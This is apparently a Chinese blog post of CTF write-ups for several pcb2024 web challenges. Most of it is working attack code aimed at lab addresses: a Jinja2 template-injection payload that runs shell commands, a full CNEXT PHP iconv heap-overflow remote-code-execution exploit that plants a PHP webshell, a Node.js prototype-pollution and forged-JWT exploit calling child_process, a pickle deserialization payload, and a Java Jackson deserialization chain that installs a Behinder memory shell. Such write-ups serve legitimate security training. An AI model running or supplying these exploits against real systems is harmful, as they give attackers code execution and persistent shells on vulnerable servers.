获取中...

-

Just a minute...

python口算-pcb2024

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import re

url = "http://192.168.18.28"

# 定义计算表达式的函数
def calculate_expression(expression):
# 使用正则表达式匹配数字和运算符
tokens = re.findall(r'\d+|[+\-*/]', expression)

# 将 tokens 列表组合成一个字符串并使用 eval 计算结果
result = eval(''.join(tokens))

return result


# 测试表达式
res = requests.get(url+"/calc")
print(res.text)
result = calculate_expression(res.text)

res = requests.get(url+f"?answer={result}&Submit=%E6%8F%90%E4%BA%A4")
print(res.text)

得到/static/f4dd790b-bc4e-48de-b717-903d433c597f

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
@app.route('/')
def index(solved=0):
global current_expr

# 前端计算
.....
.....
# 通过计算

username = 'ctfer!'
if request.args.get('username'):
username = request.args.get('username')
if whitelist_filter(username,whitelist_patterns):
if blacklist_filter(username):
return render_template_string("filtered")
else:
print("你过关!")
else:
return render_template_string("filtered")
return render_template('index.html', username=username, hint="f4dd790b-bc4e-48de-b717-903d433c597f")

目测是一个username的ssti,绕一下过滤,用$IFS绕空格

最终脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import re

url = "http://192.168.18.28"

# 定义计算表达式的函数
def calculate_expression(expression):
# 使用正则表达式匹配数字和运算符
tokens = re.findall(r'\d+|[+\-*/]', expression)

# 将 tokens 列表组合成一个字符串并使用 eval 计算结果
result = eval(''.join(tokens))
return result

# 测试表达式
res = requests.get(url + "/calc")
result = calculate_expression(res.text)

params = {"answer": result}
data = {"username": "{{''.__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('cat$IFS/f*').read()}}"}

res = requests.post(url, params=params, data=data)
print(res.text)

fileread-pcb2024

直接文件读取,但是找不到flag,打cnext

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class cls1{
var $cls;
var $arr;
}


class cls2
{
var $filename = 'php://filter/read=convert.base64-encode/resource=/proc/self/cmdline';
var $txt = '';
}

$a = new cls1();
$a ->cls = new cls2();
$a ->arr = array("1"=>"fileput");

echo base64_encode(serialize($a));

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
#!/usr/bin/env python3

from __future__ import annotations

import base64
import zlib
from dataclasses import dataclass

from pwn import *
from requests.exceptions import ChunkedEncodingError, ConnectionError
from ten import *


HEAP_SIZE = 2 * 1024 * 1024
BUG = "劄".encode("utf-8")


class Remote:

def __init__(self, url: str) -> None:
self.url = url
self.session = Session()

def send(self, path: str) -> Response:

path = 'O:4:"cls1":2:{s:3:"cls";O:4:"cls2":2:{s:8:"filename";s:'+ str(len(path))+':"'+ path +'";s:3:"txt";s:0:"";}s:3:"arr";a:1:{i:1;s:7:"fileput";}}'
path = base64.encode(path)

return self.session.get(self.url+"?ser={}".format(path))

def download(self, path: str) -> bytes:
path = f"php://filter/convert.base64-encode/resource={path}"
response = self.send(path)
data = response.re.search(b"Your file(.*)", flags=re.S).group(1)
return base64.decode(data)


@entry
@arg("url", "Target URL")
@arg("command", "Command to run on the system; limited to 0x140 bytes")
@arg("sleep_time", "Time to sleep to assert that the exploit worked. By default, 1.")
@arg("heap", "Address of the main zend_mm_heap structure.")
@arg(
"pad",
"Number of 0x100 chunks to pad with. If the website makes a lot of heap "
"operations with this size, increase this. Defaults to 20.",
)
@dataclass
class Exploit:
"""CNEXT exploit: RCE using a file read primitive in PHP."""

url: str
command: str
sleep: int = 1
heap: str = None
pad: int = 20

url = "http://192.168.18.24/"
command = "echo '<?php system(\"/readflag\");'>/var/www/html/phpinfo.php"

def __post_init__(self):
self.remote = Remote(self.url)
self.log = logger("EXPLOIT")
self.info = {}
self.heap = self.heap and int(self.heap, 16)

def check_vulnerable(self) -> None:
"""Checks whether the target is reachable and properly allows for the various
wrappers and filters that the exploit needs.
"""

def safe_download(path: str) -> bytes:
try:
return self.remote.download(path)
except ConnectionError:
failure("Target not [b]reachable[/] ?")

def check_token(text: str, path: str) -> bool:
result = safe_download(path)
return text.encode() == result

text = tf.random.string(50).encode()
base64 = b64(text, misalign=True).decode()
path = f"data:text/plain;base64,{base64}"

result = safe_download(path)

if text not in result:
msg_failure("Remote.download did not return the test string")
print("--------------------")
print(f"Expected test string: {text}")
print(f"Got: {result}")
print("--------------------")
failure("If your code works fine, it means that the [i]data://[/] wrapper does not work")

msg_info("The [i]data://[/] wrapper works")

text = tf.random.string(50)
base64 = b64(text.encode(), misalign=True).decode()
path = f"php://filter//resource=data:text/plain;base64,{base64}"
if not check_token(text, path):
failure("The [i]php://filter/[/] wrapper does not work")

msg_info("The [i]php://filter/[/] wrapper works")

text = tf.random.string(50)
base64 = b64(compress(text.encode()), misalign=True).decode()
path = f"php://filter/zlib.inflate/resource=data:text/plain;base64,{base64}"

if not check_token(text, path):
failure("The [i]zlib[/] extension is not enabled")

msg_info("The [i]zlib[/] extension is enabled")

msg_success("Exploit preconditions are satisfied")

def get_file(self, path: str) -> bytes:
with msg_status(f"Downloading [i]{path}[/]..."):
return self.remote.download(path)

def get_regions(self) -> list[Region]:
maps = self.get_file("/proc/self/maps")
maps = maps.decode()
PATTERN = re.compile(
r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)"
)
regions = []
for region in table.split(maps, strip=True):
if match := PATTERN.match(region):
start = int(match.group(1), 16)
stop = int(match.group(2), 16)
permissions = match.group(3)
path = match.group(4)
if "/" in path or "[" in path:
path = path.rsplit(" ", 1)[-1]
else:
path = ""
current = Region(start, stop, permissions, path)
regions.append(current)
else:
print(maps)
failure("Unable to parse memory mappings")

self.log.info(f"Got {len(regions)} memory regions")

return regions

def get_symbols_and_addresses(self) -> None:
regions = self.get_regions()

LIBC_FILE = "1.so"

self.info["heap"] = self.heap or self.find_main_heap(regions)

libc = self._get_region(regions, "libc-", "libc.so")

self.download_file("/usr/lib/x86_64-linux-gnu/libc.so.6" ,LIBC_FILE)

self.info["libc"] = ELF(LIBC_FILE, checksec=False)
self.info["libc"].address = libc.start

def _get_region(self, regions: list[Region], *names: str) -> Region:
"""Returns the first region whose name matches one of the given names."""
for region in regions:
if any(name in region.path for name in names):
break
else:
failure("Unable to locate region")

return region

def download_file(self, remote_path: str, local_path: str) -> None:
"""Downloads `remote_path` to `local_path`"""
data = self.get_file(remote_path)
Path(local_path).write(data)

def find_main_heap(self, regions: list[Region]) -> Region:

heaps = [
region.stop - HEAP_SIZE + 0x40
for region in reversed(regions)
if region.permissions == "rw-p"
and region.size >= HEAP_SIZE
and region.stop & (HEAP_SIZE - 1) == 0
and region.path == ""
]

if not heaps:
failure("Unable to find PHP's main heap in memory")

first = heaps[0]

if len(heaps) > 1:
heaps = ", ".join(map(hex, heaps))
msg_info(f"Potential heaps: [i]{heaps}[/] (using first)")
else:
msg_info(f"Using [i]{hex(first)}[/] as heap")

return first

def run(self) -> None:
self.check_vulnerable()
self.get_symbols_and_addresses()
self.exploit()

def build_exploit_path(self) -> str:

LIBC = self.info["libc"]
ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]
ADDR_EFREE = LIBC.symbols["__libc_system"]
ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]

ADDR_HEAP = self.info["heap"]
ADDR_FREE_SLOT = ADDR_HEAP + 0x20
ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168

ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10

CS = 0x100

# Pad needs to stay at size 0x100 at every step
pad_size = CS - 0x18
pad = b"\x00" * pad_size
pad = chunked_chunk(pad, len(pad) + 6)
pad = chunked_chunk(pad, len(pad) + 6)
pad = chunked_chunk(pad, len(pad) + 6)
pad = compressed_bucket(pad)

step1_size = 1
step1 = b"\x00" * step1_size
step1 = chunked_chunk(step1)
step1 = chunked_chunk(step1)
step1 = chunked_chunk(step1, CS)
step1 = compressed_bucket(step1)


step2_size = 0x48
step2 = b"\x00" * (step2_size + 8)
step2 = chunked_chunk(step2, CS)
step2 = chunked_chunk(step2)
step2 = compressed_bucket(step2)

step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN)
step2_write_ptr = chunked_chunk(step2_write_ptr, CS)
step2_write_ptr = chunked_chunk(step2_write_ptr)
step2_write_ptr = compressed_bucket(step2_write_ptr)

step3_size = CS

step3 = b"\x00" * step3_size
assert len(step3) == CS
step3 = chunked_chunk(step3)
step3 = chunked_chunk(step3)
step3 = chunked_chunk(step3)
step3 = compressed_bucket(step3)

step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUG
assert len(step3_overflow) == CS
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = compressed_bucket(step3_overflow)

step4_size = CS
step4 = b"=00" + b"\x00" * (step4_size - 1)
step4 = chunked_chunk(step4)
step4 = chunked_chunk(step4)
step4 = chunked_chunk(step4)
step4 = compressed_bucket(step4)

step4_pwn = ptr_bucket(
0x200000,
0,
# free_slot
0,
0,
ADDR_CUSTOM_HEAP, # 0x18
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
ADDR_HEAP, # 0x140
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
size=CS,
)

step4_custom_heap = ptr_bucket(
ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18
)

step4_use_custom_heap_size = 0x140

COMMAND = self.command
COMMAND = f"kill -9 $PPID; {COMMAND}"
if self.sleep:
COMMAND = f"sleep {self.sleep}; {COMMAND}"
COMMAND = COMMAND.encode() + b"\x00"

assert (
len(COMMAND) <= step4_use_custom_heap_size
), f"Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}"
COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00")

step4_use_custom_heap = COMMAND
step4_use_custom_heap = qpe(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)

pages = (
step4 * 3
+ step4_pwn
+ step4_custom_heap
+ step4_use_custom_heap
+ step3_overflow
+ pad * self.pad
+ step1 * 3
+ step2_write_ptr
+ step2 * 2
)

resource = compress(compress(pages))
resource = b64(resource)
resource = f"data:text/plain;base64,{resource.decode()}"

filters = [
# Create buckets
"zlib.inflate",
"zlib.inflate",

# Step 0: Setup heap
"dechunk",
"convert.iconv.latin1.latin1",

# Step 1: Reverse FL order
"dechunk",
"convert.iconv.latin1.latin1",

# Step 2: Put fake pointer and make FL order back to normal
"dechunk",
"convert.iconv.latin1.latin1",

# Step 3: Trigger overflow
"dechunk",
"convert.iconv.UTF-8.ISO-2022-CN-EXT",

# Step 4: Allocate at arbitrary address and change zend_mm_heap
"convert.quoted-printable-decode",
"convert.iconv.latin1.latin1",
]
filters = "|".join(filters)
path = f"php://filter/read={filters}/resource={resource}"

return path

@inform("Triggering...")
def exploit(self) -> None:
path = self.build_exploit_path()
start = time.time()

try:
self.remote.send(path)
except (ConnectionError, ChunkedEncodingError):
pass

msg_print()

if not self.sleep:
msg_print(" [b white on black] EXPLOIT [/][b white on green] SUCCESS [/] [i](probably)[/]")
elif start + self.sleep <= time.time():
msg_print(" [b white on black] EXPLOIT [/][b white on green] SUCCESS [/]")
else:
# Wrong heap, maybe? If the exploited suggested others, use them!
msg_print(" [b white on black] EXPLOIT [/][b white on red] FAILURE [/]")

msg_print()


def compress(data) -> bytes:
"""Returns data suitable for `zlib.inflate`.
"""
# Remove 2-byte header and 4-byte checksum
return zlib.compress(data, 9)[2:-4]


def b64(data: bytes, misalign=True) -> bytes:
payload = base64.encode(data)
if not misalign and payload.endswith("="):
raise ValueError(f"Misaligned: {data}")
return payload.encode()


def compressed_bucket(data: bytes) -> bytes:
"""Returns a chunk of size 0x8000 that, when dechunked, returns the data."""
return chunked_chunk(data, 0x8000)


def qpe(data: bytes) -> bytes:
"""Emulates quoted-printable-encode.
"""
return "".join(f"={x:02x}" for x in data).upper().encode()


def ptr_bucket(*ptrs, size=None) -> bytes:
"""Creates a 0x8000 chunk that reveals pointers after every step has been ran."""
if size is not None:
assert len(ptrs) * 8 == size
bucket = b"".join(map(p64, ptrs))
bucket = qpe(bucket)
bucket = chunked_chunk(bucket)
bucket = chunked_chunk(bucket)
bucket = chunked_chunk(bucket)
bucket = compressed_bucket(bucket)

return bucket


def chunked_chunk(data: bytes, size: int = None) -> bytes:
if size is None:
size = len(data) + 8
keep = len(data) + len(b"\n\n")
size = f"{len(data):x}".rjust(size - keep, "0")
return size.encode() + b"\n" + data + b"\n"


@dataclass
class Region:
"""A memory region."""

start: int
stop: int
permissions: str
path: str

@property
def size(self) -> int:
return self.stop - self.start


Exploit()

notadmin-pcb2024

js原型链污染

1

过滤了一堆

1
/const|var|let|return|subprocess|Array|constructor|load|push|mainModule|from|buffer|process|child_process|main|require|exec|this|eval|while|for|function|hex|char|base|"|'|\\|\[|\+|\*/ig
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
app.post('/login', (req, res) => {
if (merge(tmp_user, req.body)) {
if (tmp_user.secretKey == undefined) {
tmp_user.secretKey = crypto.randomBytes(16).toString('hex');
}
if (User.verifyLogin(tmp_user.password)) {
const token = jwt.sign({ username: tmp_user.username }, tmp_user.secretKey);
res.send(`Login successful! Token: ${token}\nBut nothing happend~`);
} else {
res.send('Login failed!');
}
} else {
res.send("Hacker denied!")
}
});

app.get('/', (req, res) => {
authenticateToken(req, res, () => {
backcode = eval(tmp_user.code)
res.send("something happend~")
});
});

/login路由可以进行污染,在根路由有个eval,会调用tmp_user.code,只需要污染出一个code属性就可以rce了。

第一步是登录,不然在authenticateToken函数里会被踢出来。

可以直接污染key,让python签一个jwt,带着token去访问根路由,就可以执行命令了。

这里用反引号来代替引号,乱七八糟的字符可以直接用atob来base64加密绕过。那么就需要一层解密,只需要再获取一次eval就行了。

1
Reflect.get(global,Reflect.ownKeys(global).find(x=>x.includes(`eva`)))(atob(`{payload_b64}`))

虽然不出网,但是app.use(express.static(‘public’));暴露了public作为static静态目录,可以直接往这里面写。

payload:

1
global.process.mainModule.constructor._load("child_process").execSync("cat /flag > ./public/flag.txt")

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import base64
import jwt
import requests

url = "http://192.168.18.21"
key = '123456'

#签一个token
data = {"username":"admin"}
token = jwt.encode(data,key,algorithm='HS256')
#print(token)

payload = 'global.process.mainModule.constructor._load("child_process").execSync("cat /flag > ./public/flag.txt")'
payload_b64 = base64.b64encode(payload.encode()).decode('utf-8')
#print(payload_b64)

#污染
json = {
"secretKey":key,
"code":f"Reflect.get(global,Reflect.ownKeys(global).find(x=>x.includes(`eva`)))(atob(`{payload_b64}`))" #两层eval,外面的eval执行,里面的eval解密
}
requests.post(url+"/login",json=json)

#执行
requests.get(url,headers={"Authorization":token})

#读取flag
res = requests.get(url+"/flag.txt")
print(res.text)

ez_python-pcb2024

爆破账号密码为test/123456

得到一个jwt,爆破key为a123456,签一个admin的token就可以进去protected了,提示:听说ser有点东西

1
2
3
4
5
6
import pickle
import base64
def hhhhackme(pickled):
data = base64.urlsafe_b64decode(pickled)
deserialized = pickle.loads(data)
return ''

是pickle反序列化,利用报错回显可以拿到flag

1
2
3
4
5
6
7
8
9
import pickle
import base64

class A(object):
def __reduce__(self):
return (exec, ("raise Exception(__import__('os').popen('cat /f*').read())",))

a = A()
print(base64.b64encode(pickle.dumps(a)))

LookUP-pcb2024

参考文章:

https://www.cnblogs.com/Goo1/p/17592281.html

https://xz.aliyun.com/t/12966#toc-34

image-20241109135212733

黑名单ban了templatesimpl,又有jackson依赖,可以打二次反序列化

bad –> jackson –> signed –> bad –> jackson –> templatesimpl

不出网,打spring内存马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package com.test;

import com.Utils.Util;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.*;
import javax.management.BadAttributeValueExpException;
import java.io.IOException;

import static com.Utils.Util.setValue;

public class test {
public static void main(String[] args) throws Exception{
overrideJackson();
Object templates1 = Util.getTemplates(Util.file2ByteArray("C:\\Users\\13664\\Documents\\JavaUtils\\target\\classes\\com\\Memshell\\spring\\BehinderControllerShell.class"));
POJONode jsonNodes1 = new POJONode(templates1);
Object pojoNodeStableProxy = Util.getPOJONodeStableProxy(jsonNodes1);

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);
setValue(badAttributeValueExpException,"val",pojoNodeStableProxy);

Object templates2 = Util.second_serialize(badAttributeValueExpException);
POJONode jsonNodes2 = new POJONode(templates2);
BadAttributeValueExpException badAttributeValueExpException1 = new BadAttributeValueExpException(2);
setValue(badAttributeValueExpException1,"val",jsonNodes2);

String serialize = Util.serialize(badAttributeValueExpException1);
System.out.println(serialize);
//Util.unserialize(serialize);

}
public static void overrideJackson() throws NotFoundException, CannotCompileException, IOException {
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
// writeReplace.setBody("return $0;");
ctClass.writeFile();
ctClass.toClass();
}
}

ezlaravel-pcb2024

https://github.com/joshuavanderpoll/CVE-2021-3129

laravel爆破反序列化链,rce12可以

QQ_1731129058247

相关文章
评论
分享
  • 强网杯2024

    PyBlockly黑名单过滤了所有符号,只能在print里用字母和数字, 1234if check_for_blacklisted_symbols(block['fields']['TEXT']...

    强网杯2024
  • SCTF2024 ezRender

    ezRender这道题主要是成为admin,要成为admin就要伪造cookie,要伪造cookie就要获取jwt密钥。 jwt密钥生成逻辑: 123456789101112131415161718192021import timec...

    SCTF2024 ezRender
  • ByteCTF2024大师赛web部分wp

    ezobj源码: 12345678910111213141516171819<?phpini_set("display_errors", "On");include_once("...

    ByteCTF2024大师赛web部分wp
  • 第四届长城杯web全题解

    WEB SQLUS 猜测账户是admin密码是任意一个字符 登录进去后头像那边,可以上传文件,但是文件名里不能有p,尝试传入.htaccess然后传入一个txt当做php执行。 在头像前端看到了上传路径 flag没有权...

    第四届长城杯web全题解
  • NepCTF2024部分web

    NepDouble代码过长这里不贴了,看到上传压缩包的第一反应是做一个链接到/flag的软连接,上传上去解压就可以看到flag了,但是这里 12if os.path.islink(new_file): return &...

    NepCTF2024部分web
  • 2024第七届巅峰极客部分wp

    GoldenHornKing源码给了是很明显的ssti,在/calc路由里传参calc_req,黑名单是不能有:数字、百分号、非ascii之外的字符。最烦的是这个access,原本是False,可以不用管,但是一旦成功执行一...

    2024第七届巅峰极客部分wp
  • 2024春秋杯部分wp

    brother打开题目是?name=hello,还回显了hello,看一下后台语言和框架 一眼ssti模版注入, 1?name={{g.pop.__globals__.__builtins__.__im...

    2024春秋杯部分wp
  • PolarCTF2024夏季个人挑战赛wp

    扫扫看不用扫,猜测是flag.php flag{094c9cc14068a7d18ccd0dd3606e532f} debudaoflag在cookie里: flag{72077a55w312584wb1aaa88888cd...

    PolarCTF2024夏季个人挑战赛wp
  • PolarCTF2024春季个人挑战赛wp

    机器人打开页面: 一眼robots.txt 123User-agent: *Disallow: /27f5e15b6af3223f1176293cd015771dFlag: flag{4749ea1ea481a5d 只有...

    PolarCTF2024春季个人挑战赛wp
  • 第九届中国海洋大学信息安全竞赛web题解

    ezPHPparse_str()可以进行变量覆盖。 全部流量包: 菜狗工具#1python继承链攻击。 1print(().__class__.__base__.__subclasses__()[132].__init__.__gl...

    第九届中国海洋大学信息安全竞赛web题解